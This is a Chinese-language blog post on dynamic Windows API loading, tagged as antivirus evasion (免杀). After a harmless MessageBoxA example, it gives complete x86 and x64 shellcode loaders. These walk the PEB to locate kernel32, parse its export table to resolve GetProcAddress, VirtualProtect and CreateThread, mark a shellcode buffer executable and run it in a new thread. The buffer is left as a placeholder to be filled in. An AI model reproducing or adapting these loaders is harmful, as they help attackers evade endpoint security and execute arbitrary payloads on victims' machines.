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动态API函数加载

ljierui 发布于 阅读：121 技术杂谈

1、动态api函数加载

1.1、示例

#include <windows.h>
#include <iostream>

int main() {
    // 定义函数原型。这是MessageBoxA函数的原型。
    typedef int (WINAPI *MESSAGEBOXA)(HWND, LPCSTR, LPCSTR, UINT);

    // 1. 加载包含MessageBoxA的模块。
    HMODULE hUser32 = LoadLibraryA("user32.dll");
    if (!hUser32) {
        std::cerr << "Failed to load user32.dll" << std::endl;
        return 1;
    }

    // 2. 获取MessageBoxA函数的地址。
    MESSAGEBOXA pMessageBoxA = (MESSAGEBOXA)GetProcAddress(hUser32, "MessageBoxA");
    if (!pMessageBoxA) {
        std::cerr << "Failed to get the address of MessageBoxA" << std::endl;
        FreeLibrary(hUser32);
        return 1;
    }

    // 使用动态加载的MessageBoxA函数显示一个消息框。
    pMessageBoxA(NULL, "This is a test message.", "Test", MB_OK);

    // 释放模块
    FreeLibrary(hUser32);

    return 0;
}

1.2、X86实现代码

#include<windows.h>
#include<stdio.h>

//声明定义api函数
typedef FARPROC(WINAPI* p_GetProcAddress)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
typedef HMODULE(WINAPI* p_LoadLibraryA)(__in LPCSTR lpLibFileName);
typedef BOOL(WINAPI* p_VirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* p_CreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* p_WaitForSingleObject)(HANDLE, DWORD);

// 解析PEB
HMODULE inline __declspec(naked) GetKernel32Moudle()
{
    __asm
    {
        mov eax, fs: [0x30] ;
        mov eax, [eax + 0xc];
        mov eax, [eax + 0x14]
            mov eax, [eax];
        mov eax, [eax];
        mov eax, [eax + 0x10];
        ret;
    }
}

// 获取 GetProcAddress函数的地址
DWORD pGetProcAddress(HMODULE Kernel32Base) {
    char szGetProcAddr[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0};
    DWORD result = NULL;

    // 遍历kernel32.dll的导出表
    // 解析DOS头
    PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)Kernel32Base;
    // 解析NT头
    PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)((DWORD)Kernel32Base + pDosHead->e_lfanew);
    // 解析可选头
    PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader;
    // 解析导出表
    PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((DWORD)Kernel32Base + pOptHead->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    // 获取3c  // 函数地址表  // 函数名称表 // 函数序号表
    DWORD* pAddOfFun_Raw = (DWORD*)((DWORD)Kernel32Base + pExport->AddressOfFunctions);
    WORD* pAddOfOrd_Raw = (WORD*)((DWORD)Kernel32Base + pExport->AddressOfNameOrdinals);
    DWORD* pAddOfNames_Raw = (DWORD*)((DWORD)Kernel32Base + pExport->AddressOfNames);

    // 初始化两个字符指针，pFinded指向模块的导出函数名，pSrc指向要查找的函数名。
    char* pFinded = NULL, * pSrc = szGetProcAddr;
    // 遍历模块的导出表
    for (DWORD dwCnt = 0; dwCnt < pExport->NumberOfNames; dwCnt++)
    {
        pFinded = (char*)((DWORD)Kernel32Base + pAddOfNames_Raw[dwCnt]);
        while (*pFinded && *pFinded == *pSrc)
        {
            pFinded++; pSrc++;
        }
        if (*pFinded == *pSrc)
        {
            result = (DWORD)Kernel32Base + pAddOfFun_Raw[pAddOfOrd_Raw[dwCnt]];
            break;
        }
        pSrc = szGetProcAddr;
    }
    return result;
}

int main() {
    unsigned char buf[] = "填写x86的shellcode";

    HMODULE hKernal32 = GetKernel32Moudle(); // 获取Kernel32模块的地址
    p_GetProcAddress GetProcAddress = (p_GetProcAddress)pGetProcAddress(hKernal32); // 获取GetProcAddress函数的地址
    p_VirtualProtect VirtualProtect = (p_VirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");  //获取VirtualProtect函数地址
    p_CreateThread CreateThread = (p_CreateThread)GetProcAddress(hKernal32, "CreateThread");  //获取CreateThread函数地址
    p_WaitForSingleObject WaitForSingleObject = (p_WaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");  //获取WaitForSingleObject函数地址

    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);

    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

1.3、X64实现代码

#include <stdio.h>
#include <windows.h>

// UNICODE_STRING 结构体定义
typedef struct _UNICODE_STRING {
    USHORT Length;  //表示字符串中的字符数,由于它是unicode形式的字符,因此每个字符占两个字节
    USHORT MaximumLength;  //分配的内存空间的大小，以字节为单位
    PWSTR Buffer;  //表示指向存储Unicode字符串的字符数组的指针
} UNICODE_STRING, * PUNICODE_STRING;

// 声明获取 InInitializationOrderModuleList 链表的函数
extern "C" PVOID64 __stdcall GetInInitializationOrderModuleList();

// 获取 Kernel32.dll 的基地址
HMODULE getKernel32Address() {
    // 获取 InInitializationOrderModuleList 链表
    LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList();
    while (1) {
        // 获取 FullDllName 成员
        UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);
        // 如果 Buffer 中的第 13 个字符为空字符，则已找到 Kernel32.dll
        if (*(FullDllName->Buffer + 12) == '\0') {
            // 返回模块的基地址
            return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));
        }
        pNode = pNode->Flink;
    }
}

// 获取 GetProcAddress 函数的地址
DWORD64 getGetProcAddress(HMODULE hKernal32) {
    // 获取 DOS 头
    PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32;
    // 获取 NT 头
    PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew);
    // 获取导出表
    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    // 获取导出函数地址数组、导出函数名数组和导出函数序号数组
    PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions);
    PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames);
    PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals);

    // 遍历导出函数
    for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
        // 获取当前函数地址
        LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]);
        // 获取当前函数名地址
        PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]);
        // 如果当前函数名是 "GetProcAddress"，返回其地址
        if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
            return F_va_Tmp;
        }
    }
}

// 定义函数指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);

int main() {
    // 定义包含 shellcode 的缓冲区
    unsigned char buf[] =
        "填写x64的shellcode";

    // 获取 Kernel32.dll 的基地址和GetProcAddress函数地址
    HMODULE hKernal32 = getKernel32Address(); // 获取Kernel32.dll的基地址
    pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 获取GetProcAddress函数地址

    //获取其他所需API函数地址
    pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
    pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
    pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");

    //修改shellcode缓冲区的内存保护属性，以便执行
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);

    //创建新线程执行shellcode并等待其执行完成
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

免杀

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文章标题：动态API函数加载
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